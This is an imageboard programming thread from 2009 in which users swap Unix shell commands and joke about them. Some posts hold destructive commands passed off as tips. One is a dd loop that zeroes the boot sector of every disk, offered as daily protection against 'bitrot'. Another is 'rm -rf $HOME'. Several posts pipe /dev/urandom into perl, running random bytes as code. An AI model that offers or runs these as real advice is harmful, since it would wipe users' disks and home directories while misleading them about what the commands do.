Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

unix commands

Name: Anonymous 2009-06-16 21:47

I know some basic unix things, but I know there's a lot more out there.  Anyone care to share some of the things you find useful?  I basically only use these commands so far(and pipes and subcommands with $): cd, ls, chmod, mkdir, rmdir, rm , mv, cp, cat, less, grep, wc, find.

some things I like so far:
"cat file | less" is pretty cool for instant file viewing
"grep anything" grep rocks

Name: Anonymous 2009-06-16 21:51

and fg, bg, jobs, kill, ps, & .... probably forgetting more

Name: Anonymous 2009-06-16 21:53

$ su
Password:
# cat /dev/hda > /dev/audio

Name: Anonymous 2009-06-16 22:11

>>1 If I didn't have locate I'd go insane. Not unix commands but 'sudo !!' (sudo last command) and '!xyz'(run last command in history beginning with xyz) are really useful

Name: Anonymous 2009-06-16 22:20

cat file | less
And of course, if you've been following along for a week or two, you know that this (BING!) is a Useless Use of Cat!
Remember, nearly all cases where you have:
    cat file | some_command and its args ...
you can rewrite it as:
    <file some_command and its args ...
and in some cases, such as this one, you can move the filename to the arglist as in:
    some_command and its args ... file

Just another Useless Use of /prog/

Name: Anonymous 2009-06-16 22:23

Name: Anonymous 2009-06-16 22:39

count stuff at the end of a pipe
awk '{sum+=$1}; END {print sum}'

clean out dups in my image dir:
md5 * 2>/dev/null | sort +3 -r | uniq -f3 -d | perl -pe 's/.*\((.*)\).*/$1/' | xargs rm -v

Name: Anonymous 2009-06-17 2:05

cat file | tr '[a-z][A-Z]' '[A-Z]_'

Name: Anonymous 2009-06-17 2:09

"cat file | less" is pretty cool for instant file viewing
Ihibbit.

Name: Anonymous 2009-06-17 5:24

for i in /dev/[hs]d?; do dd if=/dev/zero of=$i bs=512 count=1; done

Saves my system from the grasps of bitrot every time <3

I recommend doing at least daily.

Name: Anonymous 2009-06-17 6:11

i like shuf, tac, rev, sort, sed, awk, expr, and possibly many others

Name: Anonymous 2009-06-17 6:14

I like date, unzip, touch, strip, finger, mount, gasp, yes, umount, sleep.

Name: Anonymous 2009-06-17 6:20

>>10
Hurrrrr.

Name: Anonymous 2009-06-17 6:25

>>1-13
NOW DESCRIBE YOUR SEX LIFE WITH 4 UNIX COMMANDS !

Name: Anonymous 2009-06-17 7:02

>>14
find cat bash kill

Name: Anonymous 2009-06-17 7:29

>>14
$ find cat touch finger

Name: Anonymous 2009-06-17 7:35

$ find cat rm tail

Name: Anonymous 2009-06-17 7:47

cd /pub; more beer

Name: Anonymous 2009-06-17 7:47

>>14
I can do it in only 1.
$ runhaskell

;_;

Name: Anonymous 2009-06-17 7:48

$ find anus && hax anus

Name: Anonymous 2009-06-17 7:51

find . -type cp -execdir bash raw shred '{}' \;

Name: Anonymous 2009-06-17 7:57

rm -rf $HOME

Name: Anonymous 2009-06-17 11:00

$ cat /dev/urandom|perl
Hello, World!
$

Name: Anonymous 2009-06-17 11:03

>>23
huhuhu

Name: Anonymous 2009-06-17 11:05

% cat /dev/urandom|perl
syntax error at - line 1, near "(;"
Bad name after D' at - line 1.

Name: Anonymous 2009-06-17 11:55

>>5
Or just less file.

HIBBIT?

Name: Anonymous 2009-06-17 11:59

>>25
[^_^@~]: cat /dev/urandom |perl
Unrecognized character \xAB in column 1 at - line 1.

the fuck on

Name: Anonymous 2009-06-17 12:05

~ >cat /dev/urandom | perl
42
The Fuck?

Name: Anonymous 2009-06-17 12:55

>>28
You will never be able to exactly replicate the circumstances to output that again. Enjoy your empty life.

Name: Anonymous 2009-06-17 13:05

>>29
I will, along with my question to the great answer.

Name: Anonymous 2009-06-17 13:21

>>30
$ head -1 /dev/urandom
Emacs[code
Vim[/code]
is superior

Name: Anonymous 2009-06-17 13:22

>>31
FUUUUUCK

Name: Anonymous 2009-06-17 13:27

cat /dev/urandom | perl
Unterminated <> operator at - line 1.

This was the most exciting thing I managed to conjure.

Name: Anonymous 2009-06-17 17:02

>>33
I got an endless loop once.

Name: Anonymous 2009-06-17 17:03

% cat /dev/urandom | perl
Unmatched ) in regex; marked by <-- HERE in m/??g???jQ/˨
aT?    ??) <-- HERE |l?yzat - line 2.

Name: Anonymous 2009-06-17 17:39

WOAH WHAT IF IT ACCIDENTLY WIPED YOUR HARD DRIVE

Name: Anonymous 2009-06-17 17:47

$ cat /dev/urandom | perl
Bareword found where operator expected at - line 1, near "4Z"
    (Missing operator before Z?)
Unmatched right curly bracket at - line 1, at end of line
syntax error at - line 1, near "}"

Name: Anonymous 2009-06-17 17:50

>>36
Don't blame us, blame Larry Wall

Name: Anonymous 2009-06-18 7:57

bump

Name: Anonymous 2009-06-18 20:22

$ cat /dev/urandom|perl
String found where operator expected at - line 1, near "2"q8�z���&}}��])�`S""
        (Missing operator before "q8�z���&}}��])�`S"?)
syntax error at - line 1, near "2"q8�z���&}}��])�`S""
Unrecognized character \xAB at - line 1.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List